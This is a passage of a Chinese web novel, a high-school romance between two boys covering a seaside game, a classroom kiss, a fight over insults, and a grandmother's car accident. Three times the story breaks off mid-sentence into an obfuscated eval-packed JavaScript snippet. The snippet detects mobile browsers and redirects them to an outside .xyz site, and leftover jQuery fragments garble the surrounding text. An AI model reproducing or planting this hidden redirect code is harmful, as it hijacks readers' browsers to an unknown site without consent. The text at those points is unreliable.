原本已经整理好了作文思绪,但现在被这么一打搅,实在没什么心情继续写了。江淮书放下笔躺在椅子上小憩,这时他手机又响了一下,他没有忽略别人消息的习惯,再怎么心情不佳也还是耐着性子拿起来瞟了两眼,不过这次不是李槿迟的消息,而是谭俞的。 落潭:同桌同桌,你在不在? 原本冷着脸的江淮书看见谭俞消息的这一瞬间眼里的冰冷全都融化成了温柔,他勾了勾唇,修长的指尖在手机屏幕上点了几下。 H:怎么了? 落潭:我想跟你说件事。 H:什么事? 这消息发出去之后过了好几分钟谭俞都没再回消息,江淮书被这么吊着,心里不禁有些发痒,不上不下的。 H:你睡了吗? H:是什么事? H:? 最后他实在没忍住点了视频通话打了过去,谁知一直到铃声响完谭俞那边都没接,这下江淮书就在心里确定了,谭俞一定是睡着了,他无奈地笑笑,关上灯上了床也睡了过去。 一夜无梦。 早上的阳光没这么刺眼,轻风路过窗边吹起桌上的书页,一只蝴蝶飞进窗户里停留在笔筒里的笔尖上,形成一幅漂亮的油画。 江淮书刚吃完早餐正在看书,但他有些心不在焉,因为昨晚的消息谭俞今天还没回。 难道是没睡醒还在睡?想到这里时江淮书决定再等等,看看中午谭俞会不会回消息。 没想到时间倒是过去得快,但谭俞还是没有发消息过来,想起之前谭俞发高烧不愿意去医院的事,江淮书心里担心,干脆直接出门去找谭俞。 他来到谭俞家门口,伸出手去敲了敲门,但无人应答,熟悉的场景重现,他心里的那种焦虑感越来越明显,敲门都变得急促了。 这时段佳成恰好路过,看见江淮书正在敲谭俞家的门,想起了昨天好哥们儿交代自己的事,于是开口询问:“诶新同学,你是来找谭俞的吧?” 话音一落,江淮书闻声转头,随后应了一声:“嗯。” “你俩还真是……”段佳成嘴角抽了抽,嚼了两下嘴里的泡泡糖,“他昨天跟我说过了,让你今天去月牙湾找他。” “我说,你俩约好的是不是?怎么不直接给对方说啊,还让我搞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900358|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么传话。” 其实江淮书也不明白谭俞为什么这么做,但他没有先管这些,跟段佳成说了声谢谢之后便转身走了。 他来到路口,准备朝月牙湾的坡上走去,谁知刚迈出脚就看到了路边写着的几个醒目的大字:我可不在月牙湾顶上,向左转,往前走。 这是谭俞的字。 江淮书目光一顿,微抬眉梢,他勾了勾唇,心里想着看看谭俞玩的什么花招,于是他便照做了,把脚收了回来,按照谭俞给的路线左转一直往前走。 往前走到一半时江淮书又看到了一行字:捡起旁边的新装备——打火机! 一路上江淮书都听话照做,地上写着什么他就做什么,到最后来到海边时他看到了一个用沙砾堆起来的小土包,上面插着一片写着“陈淮书”三个大字的木牌,木牌前面还摆着一朵茉莉花,整体看起来像是一小座坟。 一种荒谬感涌上心头,他目光扫向另一边,这座小坟旁边还写着一行字:快到游戏结尾了!!现在我们的玩家要烧掉这片牌子! 看到这里他的指尖动了动,“啪”的一下点亮了打火机,火焰的亮光映入眸底,他将那片写着“陈淮书”的薄木牌点燃,静静地看着它烧成灰烬落到脚边。 江淮书往前走,看见前面不远处写着最后一行字:猜猜我在哪? “在哪?”他喃喃自语,一刻不停地往前走。 拍向岸边的浪花没过他的裤腿,温凉咸涩的点点海水往他身上飞,直到海水到达膝盖后他才停下来,抬眸看向远方。 “喂,” 一道熟悉的声音突然从身后传来,接着那人又环住了他的腰,他动作一顿,回眸,猝不及防对上了谭俞那双含笑的眼睛。 “我在这儿呢。” 话一说完谭俞就踮脚吻住了江淮书,下一秒,两人便一起往海里倒了进去。 被海水淹没的刹那间周围的声音一下子全都安静了下来,海水不停地往衣服里钻,两人紧紧相拥,嘴唇胶在一起,太阳的影子开始流动,大脑变得空白,他们拥吻直至缺氧。 谭俞牵着江淮书的手向岸边游去,两人从海里出来时全身都湿漉漉的,谭俞大笑着拉着江淮书一头倒在沙滩上。 “你知道我布置的这个游戏叫什么吗?” 闻言江淮书转头看他,思考了几秒,摇了摇头:“叫什么?” 注意到对方的视线,谭俞也看了过来,他笑,语气听起来一点也不正经:“叫埋葬过去之陈淮书之墓。” “你咒我呢,”江淮书轻笑,伸手捏住他的下巴轻轻晃了晃,“嗯?” “才不是,明明很有内涵的好不好?”谭俞神情一本正经,跟游戏解说似的,“这个游戏的玩家原本叫做陈淮书,他为了找到爱人跟随神秘指引来到了月牙湾的海边,按照指令烧掉了代表过去和束缚的刻着名字的木牌,最终找到了他的爱人,从此脱胎换骨,跟爱人过上了幸福的生活。” 他讲得绘声绘色,乍一听还挺像回事,江淮书静静地听着,一言不发。 谭俞伸手与江淮书十指相扣,笑道:“所以现在你荣获新生了江淮书,” “现在这个才是崭新的你。” “谁给我指定的结局,”江淮书说着,微微勾了勾唇,“你么?” “对啊,”谭俞挑眉,“喜欢吗?” 此时一群海鸥经过,发出阵阵叫声,江淮书看着眼前的人,突然想起了一句话。 死亡的终点是永生,而永生的身边是爱的无尽春。 江淮书莫名觉得,如果与谭俞相爱是一场漫长的电影,那名字一定是叫做长情。 “喜欢,” 他冲谭俞笑了笑,眼眉都是温柔。 “我很喜欢。” 22. 第一印象 “谭俞,谭俞。” 一道陌生的声音响起,谭俞放下手中的菜篮,朝着声源处走去。 “谁?”他四处张望着,开口询问,“谁在叫我?” 那人并没有出面,而是一直在叫着谭俞的名字,好像只是单纯地想叫,因为他没有回应谭俞。 “谭俞,谭俞。” 他还在喊。 未见其人只闻其声,多多少少有点诡异了,但谭俞没有止住脚步,而是继续前进。周围环境越来越陌生,越来越偏僻,太阳也快下山了,谭俞感觉不对准备就此停步回家,结果他刚转身就莫名其妙掉下了悬崖,身体一下子悬空快速往下坠,谭俞本能地用力蹬了一下腿。 “咚!” 书桌被猛地撞了一下,谭俞一下子就从梦里清醒了过来,这动静可不小,全班都看向了这边。 “嘶……”膝盖被撞得疼得他直抽气,皱着眉呲牙,“好痛……” “怎么了,”江淮书立刻转头看他,语气关切,“撞到哪儿了?” 现在是开学第一课,已经快下课了,刚刚敌敌畏在布置作业,任务量有点重,但是没有学生敢当面表达不满,只能小声哀嚎抱怨,现在谭俞搞这么大动静可就让人误会了,段佳成看得目瞪口呆,默默给兄弟竖起大拇指:“牛逼啊老谭,打出起义第一枪。” 讲台上的敌敌畏把粉笔扔在讲台上,背起手来回渡步:“怎么,谭俞,这才开学第一天就对我有意见啊?” 完了。 谭俞嘴角抽搐了一下,从座位上站了起来:“没有。” “没有你踹什么桌子?!”敌敌畏冲他瞪眼,气得眉毛抬得老高,“搞这么大动静,示威啊?!你当我聋呢!” 面对这种情况说实话是不可能的,谭俞转了转眼珠子,随便扯了个谎:“我真没有啊老师,刚刚捡笔的时候凳子崴了差点摔倒,姿势一歪就不小心踹到桌子了。” 说出的这些话实在逼真,谭俞差点儿连自己都信了,敌敌畏神情怀疑地看了他好几秒,他也脸不红心不跳地回望过去,最终还是把对方成功糊弄了过去。 “行吧,信你一回,下次捡笔小心点儿啊,”敌敌畏走到讲台边拿起化学书拍了拍上面的粉笔灰,上下打量了一下谭俞,批评了一句,“毛毛躁躁的。” “作业做完明早交给课代表,课代表记好名字交给我,谁没写有他好果子吃!!” 说着他便清了清嗓子,用浑厚的嗓音喊道:“下课!” 早上的高三生下课时没这么有活力,一个个跟被吸了阳气似的趴在桌上睡觉,几乎没什么人说话。 “同桌——”谭俞皱着眉往江淮书那边凑,说话时尾音拖得老长,“我撞到膝盖了,好痛啊我服了。” 听到他的抱怨,江淮书把手伸向他的膝盖:“我看看淤青没有。” 身为他的同桌,江淮书是清楚他不是因为捡什么笔而撞到桌子的,所以开口问他:“你怎么会突然撞到桌子?” 说到这个谭俞有点不好意思,他笑了两声,小声道:“我刚刚睡着梦见我掉悬崖了,然后不知怎么回事就蹬了一下,没想到动作这么大,就这么撞到了,疼死我了。” 江淮书撩开他的校服裤,接着将他的膝盖仔仔细细看了一遍,确认没什么大碍后才收回了手:“现在只是有点红,过段时间如果淤青了就拿点药水擦擦。” 他神情认真,用着一副很有耐心的样子看着自己,漂亮的凤眼里装着星星点点的温柔。谭俞见状,莫名有些心痒,他唇角不自觉微微勾起,左右观察了一下周围的人,确认没人下位置活动后就一下子凑了过去,亲了一下江淮书的脸。 “好。”他笑,声音放得很轻,表情蔫坏,“都听我宝宝的。” 谭俞这么突然地靠过来,江淮书手边的笔一下子就被碰掉了,落到地上一路滚到了谭俞脚边,谭俞准备弯腰去捡,但江淮书却拉住了他的手,低声说:“我自己捡。” “哦好。” 说完谭俞便点了点头,准备直起身,可就在他刚要把头抬起来的那一瞬间,弯腰捡笔的江淮书突然轻轻扯住了他的头发把他的头往下压,随后便吻住了他的唇。 “小俞,” 江淮书咬了一下他的舌尖,亲昵地唤他,凑到他耳边低语。 “你这么乖,是只对我一个人么?” 谭俞没料到他这么大胆,连忙抬起头退开身,心虚地扫了眼四周的同学,低声开口:“你疯了?” “要是被看到我俩就完了。” 这句话对江淮书来说似乎没什么威慑效果,他静静地看了谭俞几秒,随后问道:“你知道你现在的举动让刚刚的吻变得像什么吗?” 这句话一说完谭俞立马疑惑了:“像什么?” 江淮书捡起笔回到座位上,神情如常,但下一秒却语出惊人。 “偷情。” ————————————————————————— 因为开学第一天,下午放学比较早,段佳成收拾好书包就凑到了谭俞那边,满脸都是按耐不住想立刻冲出去的冲动。 “老谭老谭,买酸角汁去啊。” “不去,”谭俞打了个哈欠,懒散地拉上书包拉链,“我要去喂卷卷。” “行吧,”段佳成点了点头,转眼看向一旁的江淮书,“新同学你去不去?” 段佳成话还没说完谭俞就突然抓住了江淮书的袖子,还没等对方说话他就先一步开了口:“我同桌也不去,他要陪我喂卷卷。” 段佳成见状,瞪了他一眼:“我问的是新同学又没问你,你这是干嘛?” 谭俞没理他,转头问江淮书:“同桌你说,你去不去?” 说着他还轻轻拽了一下对方的校服衣摆,江淮书心里觉得可爱,巴不得什么都依着他,自然是顺着他说话:“不去。” “看到没?”谭俞嗤笑,摆出一副贱兮兮的笑脸,“他,不,去。” “?”段佳成难以置信地在他们之间看了个来回,“你俩怎么……” 不对,哪里都不对,这俩人明明是朋友,相处起来怎么这么……这么黏糊?这也太不正常了。 “什么怎么?”谭俞拿着书包起身,拉上江淮书就往外走,“快去吧你,我俩也要走了。” 还没等他细究,谭俞跟江淮书就已经快走到教室门口了,他看着两人离去的背影,心里觉得愈发奇怪。 “怎么回事?” 他喃喃自语,皱着眉也走了出去。 谭俞跟江淮书来到家里拿了一些卷卷爱吃的肉干和零食,接着又拿了一瓶水便一起走到了卷卷住的那道小巷里。 “卷卷?”谭俞喊了一声。 话音刚落的那一秒,不远处就传来了小狗的叫声:“汪汪汪!!” 听到回应,谭俞习惯性地单膝跪地张开双臂准备抱住向他奔来的卷卷。这一幕似曾相识,两人仿佛回到了之前相遇的那一天。 卷卷跑到谭俞的怀里,伸出舌头不停地舔他的脸,他揉了揉卷卷的头,随后笑着把它放到了地上,卷卷的脚刚落地就兴奋地在地上转圈打滚,嘴里还不断地哼哼唧唧。 江淮书蹲下身将肉干捏在手里递到卷卷的嘴边,卷卷先是含了一下他的手指,接着才开始啃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900359|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉干。谭俞手欠去卷小狗的耳朵,指尖传来温凉的触感,他笑:“同桌,你记不记得咱俩就是在这儿认识的?” “记得,”江淮书的脑海里浮现出当时相遇的场景,心里有些悸动,“记得很清楚。” “诶,”谭俞用手戳了戳他的肩,抬眸看他,“你对我第一印象怎么样?” 这句问话包含了许多,有好奇也有想要被夸奖,毕竟谁都不想给别人留下不好的第一印象,江淮书嘴角一弯,垂下的睫毛掩盖住了眼里的情绪,如实回答道:“很感性,活泼,也很可爱。” “可爱?!”谭俞差点被口水呛到,表情一言难尽,“还真是第一次有人用可爱这词来形容我。” 江淮书挑眉:“那我很荣幸成为这第一个。” 谭俞被逗笑,捏着手里的水瓶仔细回想当初第一眼看到江淮书时的感受,突然有这么一瞬间感觉有点尴尬。 “你知不知道我对你的第一印象是什么?” 江淮书听见他语气不太对,于是便看了过来:“是什么?” “我感觉我好肤浅啊,”谭俞皱眉笑道,没怎么好意思看江淮书,“我当时就是感觉你很漂亮,虽然说这个词不太恰当,但是我能想到的就只有这个词最符合。” “你身上总是有很好闻的淡橘香,我不知道为什么就是特别喜欢,还有你唇边的那颗痣,”谭俞话音一顿,犹豫了几秒后还是说了出来,“也,也很漂亮,就是莫名地,莫名地想亲……” 这话一说完,江淮书静了。 谭俞小心翼翼地观察着对方的神色:“你不会觉得我很轻浮吧同桌?” “没有,”江淮书看着他,眼神里看不出情绪,“现在呢?” “什么?” “你还想亲吗?” 这下轮到谭俞静了,但没过几秒他又立马回过神,探身凑过去,勾着唇笑得漫不经心:“想啊,你给不给?” 他本来就长了双多情的眼睛,配上这张看起来能把人渣死的脸更是带劲,一颦一笑怎么看都会觉得轻佻勾人。 江淮书没有回答他,而是直接吻了上去,唇肉相触,谭俞闭上眼回吻,伸手去缠他的手指,与他十指相扣。卷卷正在专心啃肉干,丝毫没有注意到旁边的两个人。 “咚!” 这时巷子口突如其来的声音打破了宁静,谭俞止住动作闻声看了过去,猝不及防地对上段佳成那双瞪大的眼睛,顿时愣住了。 被打断好事的江淮书心里泛起不爽,不满足地又吻了一下谭俞的喉结,这才慢悠悠地顺着对方的视线看向了站在巷子口的人。 “你们……” 段佳成嘴唇艰难地动了动,想起刚刚的场景他只感觉全身僵硬,精神恍惚,呼吸困难,跟身在世界末日没啥区别。 “你们在干嘛?!卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽卧槽!!!!!” 酸角汁从瓶子里淌出来流到了他的鞋边,但他全然没管,一直在崩溃似的尖叫。 “我操了我操了!!!你们刚刚是不是在接吻?!!我靠我靠我靠我靠我靠我靠我靠我靠我靠我靠!!!” 谭俞之前就猜到过他知道自己跟江淮书的关系时会反应大,但没想到反应这么大,一时间不知道该说些什么:“有这么夸张吗?” “我就说怎么感觉你俩不对劲!”段佳成轻轻摇着头,像个神经病,“原来是,原来是……” “原来是你们在一起了?!!!!” “你们是gay?!!!我操了,你们竟然是gay?!!!!!!!” 23. 茉莉花 “段佳成,你怎么……”谭俞欲言又止,语气带着试探,“难道你恐同?” 闻言段佳成终于停下了嚎叫,抬眸看谭俞,否认道:“没有啊。” 他的回答让谭俞感到无语,简直不知道该怎么说他才好。 “那你干嘛反应这么夸张?” “我反应夸张?!”段佳成抬手指了指自己的鼻心,一脸的不可置信,“这么多年的好兄弟居然是个gay,我没晕过去都算好的了知道吗?!” “我真是服了。” 谭俞张了张口,似乎是还想说些什么,但段佳成没给他这个机会。 “好了老谭,你让我消化消化,冷静一下。” 说完他就背起书包就往前走,丝毫没有注意到自己弄掉的酸角汁,神情复杂地迈开步子。 “咱们这几天先别说话了,我怕你对我有什么非分之想。” 此话一出,江淮书抬眸向段佳成看了过去:“?” 谭俞:“……” ————————————————————————— 这是高中最后一个学期,快毕业了,不少学生带相机和同学录进学校来,班上热闹非凡,很多女生都正拿着粉笔在黑板上画猫耳朵拍照。 段佳成爱凑热闹,也跟着跑到讲台那边去,他嘴里还嚼着半块饼干,说话含糊不清:“诶诶诶,带我一个带我一个!!”说着他还非常自觉地凑到猫耳朵下比了个剪刀手。 他嘴角还有饼干碎渣,看起来有点滑稽,周围的女生都在笑,接着举着相机的那个女生喊道:“OK来,3,2,1,看镜头!!” 按下快门的那瞬间太阳已经完全升起,丝丝缕缕的阳光照射进来,使得教室里都添了几分朝气蓬勃的气息。 “哎哟你这技术可以啊,“段佳成扫了几眼照片,笑着夸道,“把我十分之八的帅气都拍出来了,不错不错,再接再厉。” 他话一说完,周围的人立马发出唏嘘,拍照的女生被逗乐了,笑个不停:“你滚行不行。” 这时,教室前门突然被打开,杨姐和敌敌畏提着一袋子炸串走了进来,看见教室里闹成一团,杨姐皱眉,大声开口问道:“干什么呢干什么呢?!大早上不复习聚在一起取暖是吧?!” 教室里瞬间安静下来,此时谁都不敢说话,杨姐无表情地扫视着全班,似乎有很大的火要发。 “你们在讲台边干什么?” 段佳成咽了咽口水,说话吞吞吐吐:“拍,拍照。” “我看看。”敌敌畏向他们伸出手,示意他们把相机拿过来。 那个女生大气不敢出,把手里相机递了过去。 敌敌畏和杨姐拿着相机看了几秒钟,接着抬眸看向同学们,正当他们以为杨姐和敌敌畏要训人时杨姐突然笑了,把相机还给了他们:“这么严肃干什么,给你们买的炸串,拿去分着吃。” 话音一落,在场的人脑子空白了几秒钟,随后顿时发出尖叫声。 “我靠,杨姐万岁!” “老师你们跟我们一起拍几张照片呗!!” “吓死我了,我还以为您要发火呢!” “……” 大家都在七嘴八舌地说话,场面一度混乱,杨姐见状,笑了几声,捏了捏其中一个说话的女生的脸:“我跟你们化学老师有事要忙,你们玩,自习课小声一点,不准太大声啊,到时候扣我工资了我拿你们是问。” “好嘞杨姐,保证不让你被扣一毛钱!!” 有了班主任和科任老师的许可,同学们玩得更疯了,做什么事的都有。谭俞去外面拿书去了,江淮书一个人坐在座位上,看起来似乎是有点无聊,这时有人敲了敲门,往江淮书那边喊:“江淮书同学在吗,有人找!” 江淮书闻声看了过去,只见一个扎着高马尾的女生正在往教室里张望着,他目光一顿,起身走了过去。 “我在这,请问找我什么事?” 他走到了女生面前,垂眸看着对方,语气礼貌疏离,女生抬头看他,顿时红了脸,尽管做了很多心理准备,但真正见到暗恋的人时还是会特别紧张。她深吸了一口气,随后把笔递给了江淮书,扬起微笑:“江淮书同学你好,我是你们隔壁班的,就是我想麻烦你一下,帮我在校服上签个字可以吗?” 女孩懵懂悸动的心思很明显,几乎一眼就能看出来,此时路过的学生很多,时不时就会投来意味深长的目光。江淮书没有立刻说话,停了几秒,随后点了点头,接过笔打开笔帽弯下了腰。 “可以。” 他捏着笔在女孩的校服上签上名字,签完后又脱了校服递给对方,女孩见状,愣住了。江淮书将声音刻意压低:“遮一下后面,不用还了,你快去一趟厕所。” 原本蒙圈的女孩听了他的话后一下子明白了过来,她心跳得飞快,冲江淮书鞠了个躬:“谢谢!” “没事。” 此刻的谭俞还在楼下拿书,他将找到的那几本书摞起来抱着,接着就往楼上走,这时迎面刚好走过来两个男生,嘴里骂着脏话,嘻嘻哈哈笑得很大声,本来谭俞想着直接回教室,但没想到还没走两步就突然从那两个男生口里听到了“江淮书”三个字,他停下脚步,闻声看了过去。 “我早看他不顺眼了,要不是不在一个班,你看我搞不搞他!” “真是服了,看到他那张小白脸就想吐,刚刚看见他给一个女生签名字,眉来眼去的,看着就烦。” “嘁,长得好起个吊用,还不是个只会装逼读书的傻……” 那个男生话还没说完,谭俞直接一书砸了过去,接着抬脚就往他背上猛踹,另一个男生反应过来,嘴里骂骂咧咧:“卧槽,你谁啊?找事儿是吧?!” 谭俞转头看他,脸上没什么表情,也没说多话,抬手就是一拳,一颗带着血的牙顿时从男生嘴里掉了出来,还没等他俩回神,谭俞冲着他们两个又是两脚,最后他蹲下身扯住其中一个人的头发,平静地垂眸与其对视,冷漠尖锐的眼神像是在看狗。 “你刚刚说什么?” “再说一遍。” ————————————————————————— “谭俞,为什么打人?” 杨姐看着谭俞,皱着眉,神情严肃。 办公室里站着刚刚被打的两个男生和他们家长还有班主任,其中一个男生的父亲看见自家儿子满脸的伤和血,心疼得不行,大声喊道:“今天必须得给我一个说法!!你凭什么打我儿子?!” 见有人出头,另一个家长也紧跟其后:“对!今天必须给我们一个说法!”说着,她还伸手指向谭俞,“你父母呢?!把你父母给我喊过来!不把我儿子的伤看好,今天谁也别走!” 谭俞目视前方,眼睛都不眨一下,什么话也没说。这两方的家长很是难缠,咄咄逼人得很,眼看就要对谭俞动手了,敌敌畏突然站了起来:“我就是他家长,各位有什么问题就说。” 此话一出,谭俞瞳孔收缩,转头看他,办公室里瞬间安静。 平时的谭俞除了不学习都挺乖的,从来没有违纪情况,如果说是无缘无故打人,敌敌畏可不相信,他走到谭俞面前,笑了笑:“你为什么打架?平时你可不这样。” 听了敌敌畏的话,谭俞顿了几秒才开口道:“他们两个骂人,我教育教育他们,以正校风。” “胡说!”牙齿掉的那个男生急了,忍着疼狡辩,“我,我们可没有骂人!” 谭俞早就会料到他们狡辩,说话的时候语气格外平静:“去调监控啊,我记得监控是录音的吧?要是我冤枉你们那我就包你们医药费,要是没有那你们去给你们骂的那个人九十度鞠躬道歉。” “你……!!” 提到调监控时那两个男生明显慌了,一时间说不出个所以然,他们班主任见此情形,顿时皱起了眉:“有没有这回事?” 眼看再也狡辩不了,他俩面面相觑,犹豫了几秒后才不约而同地点了点头,他们的家长也没料到会是自己的儿子有错在先,顿时尴尬得脸都绿了。 杨姐悬着的心终于回到了原地,接着便转头看向谭俞:“谭俞,虽然说是他们先开口骂人,但你也不应该一时冲动动手打架,还是得罚,今晚写篇检讨交给我。” 说完她就摆了摆手。 “好了,回去吧。” “谢谢老师。” 谭俞冲杨姐和敌敌畏鞠了个躬,转身就走,谁知这剩下的办公室里的几个家长还在不依不饶:“诶,这不行啊,老师你也说了打人不对,这医药费得赔给我们吧?” “是啊是啊,都是做父母的,哪有不心疼孩子的?” “好了,”杨姐关上了电脑,抬眸看向他们,轻声继续说,“既然事情已经解决,那就请各位家长别再揪着这些事不放了,现在已经高三了大家都需要备考,影响学习了可不行。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900360|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “大家稍安勿躁,医药费我来出。” 谭俞从办公室里出来时已经中午放学了,江淮书正在门口等着他,见他出来便迈开长腿向他走了过去。 “谭俞,你打架了?” 听见这话,谭俞看了他两眼,挑眉:“你消息还挺灵通。” “你有没有受伤?”江淮书将他扯了过去,仔细检查看他身上有没有伤口。 “没有,”谭俞摇了摇头,顺势勾着他往前走,“你饿不饿?” “不饿。” “那我俩去逛逛。” 学校后面有条小溪,原本那里是可以走的,但后来由于有几个学生掉下去过所以就不怎么让人去那儿了。 此时骄阳正好,谭俞脱了鞋坐在边缘,把脚放进水里,让小溪冲刷着脚尖,凉爽的感觉顿时蔓延全身。 江淮书垂眸看他,继续刚刚没问完的话:“你为什么打架?” “那俩脑残骂你啊,”他很是无所谓,语气听起来有些吊儿郎当的,“我听着不舒服。” 他这话的意思也就是说他是为自己出头才打的架,江淮书有些意外,心里一软,轻声道:“下次别这么冲动,小心伤到自己。” 谭俞闻言,笑了笑:“好。” 此时小溪边周围鸦雀无声,很是静谧,柔风阵阵吹过,令人有种恍如隔世的感觉,谭俞晃着腿,脚尖勾起一道道水花,他莫名感觉心里有些空荡荡的,于是干脆脑子放空,想到什么说什么。 “江淮书,你说人死了之后会去哪儿啊?” 江淮书不明白他问这个干什么,但还是回答了他的问题:“不太清楚。” 谭俞问完也觉得自己问得莫名其妙,一下子笑出了声,他转头看向身边的人,低声问:“你怕不怕死?” 此时一阵风吹过,撩起了两人的校服衣摆,江淮书没有多加思考,几乎是毫不犹豫地回答:“不怕。” “我也不怕,”谭俞转回了头,笑着眺望远方,“听说人死了还能重新投胎,我想想我会投胎成什么。” “人?花?草?树?狗?猫?” 谭俞掰着手指头数了数,随后笑道:“样式还挺多。” “诶江淮书,”他伸手扯住了江淮书的衣袖,满眼都是狡黠的笑意,“你说如果我死了,你会不会等我?” 江淮书弯眸,将额头抵到谭俞的额头上,低声说:“会。” “一年呢?” “会。” “十年?” 会。” “那一百年呢?” “会。” “这么有毅力啊同桌?”谭俞乐个不停,牵着对方的手闭上了眼,“那既然你等我等得这么辛苦,我觉得我应该做点什么才行啊。” 江淮书微抬眉梢,笑着问:“你要做什么?” 凉丝丝的溪水发出悦耳的流水声,悬日高挂,空气都变得有些闷热了。 “我嘛——”谭俞拖长尾音,接着又慢悠悠地开口,“我要种两株茉莉,一株给死去的自己,一株给等我的江淮书。” 说着,他轻笑了一声。 “同桌,如果我死了,我会保佑你的。” ————————————————————————— 快要午休时谭俞回家了,让江淮书帮他给老师请假,说是要回去帮奶奶搬东西,江淮书答应了,想着等晚上回去帮谭俞补一下下午的课。 江淮书随便吃了点面后就回了教室,教室里很安静,有人写题也有人在睡觉,他回到位置坐下,从书包里拿了本高考真题卷出来刷。 “诶新同学,”坐在后边的段佳成压低声音喊江淮书。 江淮书听见他的声音,回头看他。 段佳成指了指他旁边的空位子,小声问:“老谭怎么没跟你一起回来啊?” “他下午请假。” 话一说完江淮书就转过头去继续刷题了,段佳成撇了撇嘴,小声嘀咕。 “真高冷。” 时间一分一秒的过去,江淮书刷题刷到一半卡住了,便打算拿出草稿纸来验算一下,谁知手刚伸进桌洞里就碰到了一个类似于塑料杯的东西,他动作一顿,将那东西拿了出来。 确实是个塑料杯,里面装着半杯泥土,泥土上正种着一株比塑料杯还高一点点的,正长着几朵白色花骨朵的绿植。 江淮书知道这是什么。 这是一株茉莉花。 24. 车祸 晚上回去时江淮书给谭俞打了电话,但谭俞没有接,可能是搬东西太累了,所以谭俞早早地就睡了吧?想到这江淮书便没有再继续打了,并且还改变了计划——第二天再给谭俞补课。 今天梅城下了很大的雨,许多学生来到教室时裤脚衣摆都湿了不少,江淮书到教室的时候谭俞还没来,不过他没有多想,因为谭俞平时睡懒觉的时候就会起晚,挺正常的一件事,可他没想到的是直到上第一节课了谭俞都还没有来学校,他心里有些疑惑和担心,于是给谭俞发了几条消息过去。 H:谭俞,你迟到了。 H:你怎么还没来学校,是生病了吗? 消息发了出去,但迟迟都没有得到回应,江淮书开始有些心不在焉起来。课上到一半时前门突然被敲响,被淋成落汤鸡的段佳成走了进来:“报告。” 数学老师转头看他,点了点头:“进来吧。” 段佳成似乎是心里装着事,神情跟丢了魂似的,跟老师说了声谢谢就回到了座位。江淮书回过头看向他,低声开口问:“段佳成,谭俞呢,他没起床吗?” 此话一出,段佳成的动作顿时停住了,他的发丝还在滴水,睫毛上都还挂了几滴,整个人看起来有些狼狈,他抬眸跟江淮书对视上,张了张口,欲言又止。 “怎么了?”他这个表情让江淮书更是心慌,连语气都快了几分,“出事了吗?” 过了几秒后段佳成才出声,语气听起来格外沉重:“谭俞的奶奶……出车祸了,现在正在医院。” 这句话如同一记重拳,狠狠地砸在了江淮书的心上,他指尖一颤,身形晃了晃,声音听起来有些哑。 “什么?” ————————————————————————— 这是江淮书第一次违纪——翻墙出校。 雨还没有停,反而越下越大,似乎是想淹了这里,雨水模糊了双眼,但江淮书没有去管,他全身上下都湿透了,衣物紧贴着皮肤,很难受,可他现在心里只有一个念头:谭俞该怎么办? 跑去医院的路变得格外的长,江淮书不知道自己跑了很久才到的医院,直到他跑上楼看到手术室门口坐着的谭俞时他才有种脚站在地面上的真实感。 “谭俞。” 他低声说。 “我来了。” 可谭俞就像是听不见他的声音一般,坐在原地一动不动,江淮书向他走了过去,伸出手抬起了他的下巴,这才看清了他的神情。 他从来没有见过这样的谭俞,狼狈又脆弱,眼睛红肿到几乎快要睁不开,脸上没有眼泪,嘴里咬着拇指,全是血,身上一直不停地发抖。 江淮书以为这血是嘴里渗透出来的,于是拿开了谭俞咬在嘴里的拇指,想检查他嘴里的伤口,但没想到这血竟是手指上的,他垂眸定睛一看,拇指上的肉已经被扣烂了,几乎血肉模糊,指甲盖不翼而飞,手上鲜血淋漓。 “谭俞,”江淮书蹲下身握住他的手,身体不知道为什么竟也开始跟着对方一起发抖,“别咬了,别咬了,你冷静一点。” 谭俞只感觉自己现在如坠冰窟,冷,很冷,特别特别冷,他面无表情地低着头,身体在发颤,但声音听起来却很冷静:“江淮书,你回去吧,别耽误学习了。” 这句话就像是在赶人走,江淮书咬了咬牙,纹丝未动,他看着谭俞红肿的眼睛,轻声问:“那你呢?你一个人在这吗?” 谭俞没有正面回答这个问题,他露出了一个比哭还难看的笑容:“我不会参加高考了,你也不用给我补课了,我昨天把书全卖了凑手术费去了。” “我需要钱,我不高考了,我需要钱我需要钱,我得挣钱救我奶奶。” “你不要拽着我往前走了,我放弃了,江淮书,我放弃了,你听懂了吗,我让你快点回学校你听清楚了吗?”

